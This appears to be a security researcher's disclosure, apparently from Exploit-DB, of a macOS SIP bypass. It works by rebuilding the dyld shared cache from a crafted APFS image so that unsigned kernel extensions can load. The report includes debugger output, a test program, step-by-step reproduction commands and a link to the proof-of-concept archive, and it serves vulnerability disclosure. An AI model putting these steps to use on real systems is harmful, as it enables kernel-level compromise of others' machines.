264 lines
No EOL
13 KiB
Text
264 lines
No EOL
13 KiB
Text
Tested on macOS Mojave (10.14.6, 18G87) and Catalina Beta (10.15 Beta 19A536g).
|
|
|
|
On macOS, the dyld shared cache (in /private/var/db/dyld/) is generated locally
|
|
on the system and therefore doesn't have a real code signature;
|
|
instead, SIP seems to be the only mechanism that prevents modifications of the
|
|
dyld shared cache.
|
|
update_dyld_shared_cache, the tool responsible for generating the shared cache,
|
|
is able to write to /private/var/db/dyld/ because it has the
|
|
com.apple.rootless.storage.dyld entitlement. Therefore, update_dyld_shared_cache
|
|
is responsible for ensuring that it only writes data from trustworthy libraries
|
|
when updating the shared cache.
|
|
|
|
update_dyld_shared_cache accepts two interesting command-line arguments that
|
|
make it difficult to enforce these security properties:
|
|
|
|
- "-root": Causes libraries to be read from, and the cache to be written to, a
|
|
caller-specified filesystem location.
|
|
- "-overlay": Causes libraries to be read from a caller-specified filesystem
|
|
location before falling back to normal system directories.
|
|
|
|
There are some checks related to this, but they don't look very effective.
|
|
main() tries to see whether the target directory is protected by SIP:
|
|
|
|
bool requireDylibsBeRootlessProtected = isProtectedBySIP(cacheDir);
|
|
|
|
If that variable is true, update_dyld_shared_cache attempts to ensure that all
|
|
source libraries are also protected by SIP.
|
|
|
|
isProtectedBySIP() is implemented as follows:
|
|
|
|
bool isProtectedBySIP(const std::string& path)
|
|
{
|
|
if ( !sipIsEnabled() )
|
|
return false;
|
|
|
|
return (rootless_check_trusted(path.c_str()) == 0);
|
|
}
|
|
|
|
Ignoring that this looks like a typical symlink race issue, there's another
|
|
problem:
|
|
|
|
Looking in a debugger (with SIP configured so that only debugging restrictions
|
|
and dtrace restrictions are disabled), it seems like rootless_check_trusted()
|
|
doesn't work as expected:
|
|
|
|
bash-3.2# lldb /usr/bin/update_dyld_shared_cache
|
|
[...]
|
|
(lldb) breakpoint set --name isProtectedBySIP(std::__1::basic_string<char,\ std::__1::char_traits<char>,\ std::__1::allocator<char>\ >\ const&)
|
|
Breakpoint 1: where = update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&), address = 0x00000001000433a4
|
|
[...]
|
|
(lldb) run -force
|
|
Process 457 launched: '/usr/bin/update_dyld_shared_cache' (x86_64)
|
|
Process 457 stopped
|
|
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
|
|
frame #0: 0x00000001000433a4 update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&)
|
|
update_dyld_shared_cache`isProtectedBySIP:
|
|
-> 0x1000433a4 <+0>: pushq %rbp
|
|
0x1000433a5 <+1>: movq %rsp, %rbp
|
|
0x1000433a8 <+4>: pushq %rbx
|
|
0x1000433a9 <+5>: pushq %rax
|
|
Target 0: (update_dyld_shared_cache) stopped.
|
|
(lldb) breakpoint set --name rootless_check_trusted
|
|
Breakpoint 2: where = libsystem_sandbox.dylib`rootless_check_trusted, address = 0x00007fff5f32b8ea
|
|
(lldb) continue
|
|
Process 457 resuming
|
|
Process 457 stopped
|
|
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
|
|
frame #0: 0x00007fff5f32b8ea libsystem_sandbox.dylib`rootless_check_trusted
|
|
libsystem_sandbox.dylib`rootless_check_trusted:
|
|
-> 0x7fff5f32b8ea <+0>: pushq %rbp
|
|
0x7fff5f32b8eb <+1>: movq %rsp, %rbp
|
|
0x7fff5f32b8ee <+4>: movl $0xffffffff, %esi ; imm = 0xFFFFFFFF
|
|
0x7fff5f32b8f3 <+9>: xorl %edx, %edx
|
|
Target 0: (update_dyld_shared_cache) stopped.
|
|
(lldb) print (char*)$rdi
|
|
(char *) $0 = 0x00007ffeefbff171 "/private/var/db/dyld/"
|
|
(lldb) finish
|
|
Process 457 stopped
|
|
* thread #1, queue = 'com.apple.main-thread', stop reason = step out
|
|
|
|
frame #0: 0x00000001000433da update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&) + 54
|
|
update_dyld_shared_cache`isProtectedBySIP:
|
|
-> 0x1000433da <+54>: testl %eax, %eax
|
|
0x1000433dc <+56>: sete %al
|
|
0x1000433df <+59>: addq $0x8, %rsp
|
|
0x1000433e3 <+63>: popq %rbx
|
|
Target 0: (update_dyld_shared_cache) stopped.
|
|
(lldb) print $rax
|
|
(unsigned long) $1 = 1
|
|
|
|
Looking around with a little helper (under the assumption that it doesn't behave
|
|
differently because it doesn't have the entitlement), it looks like only a small
|
|
part of the SIP-protected directories show up as protected when you check with
|
|
rootless_check_trusted():
|
|
|
|
bash-3.2# cat rootless_test.c
|
|
#include <stdio.h>
|
|
|
|
int rootless_check_trusted(char *);
|
|
|
|
int main(int argc, char **argv) {
|
|
int res = rootless_check_trusted(argv[1]);
|
|
printf("rootless status for '%s': %d (%s)\n", argv[1], res, (res == 0) ? "PROTECTED" : "MALLEABLE");
|
|
}
|
|
bash-3.2# ./rootless_test /
|
|
rootless status for '/': 1 (MALLEABLE)
|
|
bash-3.2# ./rootless_test /System
|
|
rootless status for '/System': 0 (PROTECTED)
|
|
bash-3.2# ./rootless_test /System/
|
|
rootless status for '/System/': 0 (PROTECTED)
|
|
bash-3.2# ./rootless_test /System/Library
|
|
rootless status for '/System/Library': 0 (PROTECTED)
|
|
bash-3.2# ./rootless_test /System/Library/Assets
|
|
rootless status for '/System/Library/Assets': 1 (MALLEABLE)
|
|
bash-3.2# ./rootless_test /System/Library/Caches
|
|
rootless status for '/System/Library/Caches': 1 (MALLEABLE)
|
|
bash-3.2# ./rootless_test /System/Library/Caches/com.apple.kext.caches
|
|
rootless status for '/System/Library/Caches/com.apple.kext.caches': 1 (MALLEABLE)
|
|
bash-3.2# ./rootless_test /usr
|
|
rootless status for '/usr': 0 (PROTECTED)
|
|
bash-3.2# ./rootless_test /usr/local
|
|
rootless status for '/usr/local': 1 (MALLEABLE)
|
|
bash-3.2# ./rootless_test /private
|
|
rootless status for '/private': 1 (MALLEABLE)
|
|
bash-3.2# ./rootless_test /private/var/db
|
|
rootless status for '/private/var/db': 1 (MALLEABLE)
|
|
bash-3.2# ./rootless_test /private/var/db/dyld/
|
|
rootless status for '/private/var/db/dyld/': 1 (MALLEABLE)
|
|
bash-3.2# ./rootless_test /sbin
|
|
rootless status for '/sbin': 0 (PROTECTED)
|
|
bash-3.2# ./rootless_test /Applications/Mail.app/
|
|
rootless status for '/Applications/Mail.app/': 0 (PROTECTED)
|
|
bash-3.2#
|
|
|
|
Perhaps rootless_check_trusted() limits its trust to paths that are writable
|
|
exclusively using installer entitlements like com.apple.rootless.install, or
|
|
something like that? That's the impression I get when testing different entries
|
|
from /System/Library/Sandbox/rootless.conf - the entries with no whitelisted
|
|
specific entitlement show up as protected, the ones with a whitelisted specific
|
|
entitlement show up as malleable.
|
|
rootless_check_trusted() checks for the "file-write-data" permission through the
|
|
MAC syscall, but I haven't looked in detail at how the policy actually looks.
|
|
|
|
(By the way, looking at update_dyld_shared_cache, I'm not sure whether it would
|
|
actually work if the requireDylibsBeRootlessProtected flag is true - it looks
|
|
like addIfMachO() would never add any libraries to dylibsForCache because
|
|
`sipProtected` is fixed to `false` and the call to isProtectedBySIP() is
|
|
commented out?)
|
|
|
|
|
|
In theory, this means it's possible to inject a modified version of a library
|
|
into the dyld cache using either the -root or the -overlay flag of
|
|
update_dyld_shared_cache, reboot, and then run an entitled binary that will use
|
|
the modified library. However, there are (non-security) checks that make this
|
|
annoying:
|
|
|
|
- When loading libraries, loadPhase5load() checks whether the st_ino and
|
|
st_mtime of the on-disk library match the ones embedded in the dyld cache at
|
|
build time.
|
|
- Recently, dyld started ensuring that the libraries are all on the "boot
|
|
volume" (the path specified with "-root", or "/" if no root was specified).
|
|
|
|
The inode number check means that it isn't possible to just create a malicious
|
|
copy of a system library, run `update_dyld_shared_cache -overlay`, and reboot to
|
|
use the malicious copy; the modified library will have a different inode number.
|
|
I don't know whether HFS+ reuses inode numbers over time, but on APFS, not even
|
|
that is possible; inode numbers are monotonically incrementing 64-bit integers.
|
|
|
|
Since root (and even normal users) can mount filesystem images, I decided to
|
|
create a new filesystem with appropriate inode numbers.
|
|
I think HFS probably can't represent the full range of inode numbers that APFS
|
|
can have (and that seem to show up on volumes that have been converted from
|
|
HFS+ - that seems to result in inode numbers like 0x0fffffff00001666), so I
|
|
decided to go with an APFS image. Writing code to craft an entire APFS
|
|
filesystem would probably take quite some time, and the public open-source APFS
|
|
implementations seem to be read-only, so I'm first assembling a filesystem image
|
|
normally (create filesystem with newfs_apfs, mount it, copy files in, unmount),
|
|
then renumbering the inodes. By storing files in the right order, I don't even
|
|
need to worry about allocating and deallocating space in tree nodes and
|
|
such - all replacements can be performed in-place.
|
|
|
|
My PoC patches the cached version of csr_check() from libsystem_kernel.dylib so
|
|
that it always returns zero, which causes the userspace kext loading code to
|
|
ignore code signing errors.
|
|
|
|
|
|
To reproduce:
|
|
|
|
- Ensure that SIP is on.
|
|
- Ensure that you have at least something like 8GiB of free disk space.
|
|
- Unpack the attached dyld_sip.tar (as normal user).
|
|
- Run ./collect.sh (as normal user). This should take a couple minutes, with
|
|
more or less continuous status updates. At the end, it should say "READY"
|
|
after mounting an image to /private/tmp/L.
|
|
(If something goes wrong here and you want to re-run the script, make sure to
|
|
detach the volume if the script left it attached - check "hdiutil info".)
|
|
- As root, run "update_dyld_shared_cache -force -root /tmp/L".
|
|
- Reboot the machine.
|
|
- Build an (unsigned) kext from source. I have attached source code for a
|
|
sample kext as testkext.tar - you can unpack it and use xcodebuild -, but
|
|
that's just a simple "hello world" kext, you could also use anything else.
|
|
- As root, copy the kext to /tmp/.
|
|
- As root, run "kextutil /tmp/[...].kext". You should see something like this:
|
|
|
|
bash-3.2# cp -R testkext/build/Release/testkext.kext /tmp/ && kextutil /tmp/testkext.kext
|
|
Kext with invalid signatured (-67050) allowed: <OSKext 0x7fd10f40c6a0 [0x7fffa68438e0]> { URL = "file:///private/tmp/testkext.kext/", ID = "net.thejh.test.testkext" }
|
|
Code Signing Failure: code signature is invalid
|
|
Disabling KextAudit: SIP is off
|
|
Invalid signature -67050 for kext <OSKext 0x7fd10f40c6a0 [0x7fffa68438e0]> { URL = "file:///private/tmp/testkext.kext/", ID = "net.thejh.test.testkext" }
|
|
bash-3.2# dmesg|tail -n1
|
|
test kext loaded
|
|
bash-3.2# kextstat | grep test
|
|
120 0 0xffffff7f82a50000 0x2000 0x2000 net.thejh.test.testkext (1) A24473CD-6525-304A-B4AD-B293016E5FF0 <5>
|
|
bash-3.2#
|
|
|
|
|
|
Miscellaneous notes:
|
|
|
|
- It looks like there's an OOB kernel write in the dyld shared cache pager; but
|
|
AFAICS that isn't reachable unless you've already defeated SIP, so I don't
|
|
think it's a vulnerability:
|
|
vm_shared_region_slide_page_v3() is used when a page from the dyld cache is
|
|
being paged in. It essentially traverses a singly-linked list of relocations
|
|
inside the page; the offset of the first relocation (iow the offset of the
|
|
list head) is stored permanently in kernel memory when the shared cache is
|
|
initialized.
|
|
As far as I can tell, this function is missing bounds checks; if either the
|
|
starting offset or the offset stored in the page being paged in points
|
|
outside the page, a relocation entry will be read from OOB memory, and a
|
|
relocated address will conditionally be written back to the same address.
|
|
- There is a check `rootPath != "/"` in update_dyld_shared_cache; but further
|
|
up is this:
|
|
|
|
// canonicalize rootPath
|
|
if ( !rootPath.empty() ) {
|
|
char resolvedPath[PATH_MAX];
|
|
if ( realpath(rootPath.c_str(), resolvedPath) != NULL ) {
|
|
rootPath = resolvedPath;
|
|
}
|
|
// <rdar://problem/33223984> when building closures for boot volume, pathPrefixes should be empty
|
|
if ( rootPath == "/" ) {
|
|
rootPath = "";
|
|
}
|
|
}
|
|
|
|
So as far as I can tell, that condition is always true, which means that when
|
|
an overlay path is specified with `-overlay`, the cache is written to the
|
|
root even though the code looks as if the cache is intended to be written to
|
|
the overlay.
|
|
- Some small notes regarding the APFS documentation at
|
|
<https://developer.apple.com/support/downloads/Apple-File-System-Reference.pdf>:
|
|
- The typedef for apfs_superblock_t is missing.
|
|
- The documentation claims that APFS_TYPE_DIR_REC keys are j_drec_key_t, but
|
|
actually they can be j_drec_hashed_key_t.
|
|
- The documentation claims that o_cksum is "The Fletcher 64 checksum of the
|
|
object", but actually APFS requires that the fletcher64 checksum of all data
|
|
behind the checksum concatenated with the checksum is zero.
|
|
(In other words, you cut out the checksum field at the start, append it at
|
|
the end, then run fletcher64 over the buffer, and then you have to get an
|
|
all-zeroes checksum.)
|
|
|
|
|
|
Proof of Concept:
|
|
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47708.zip |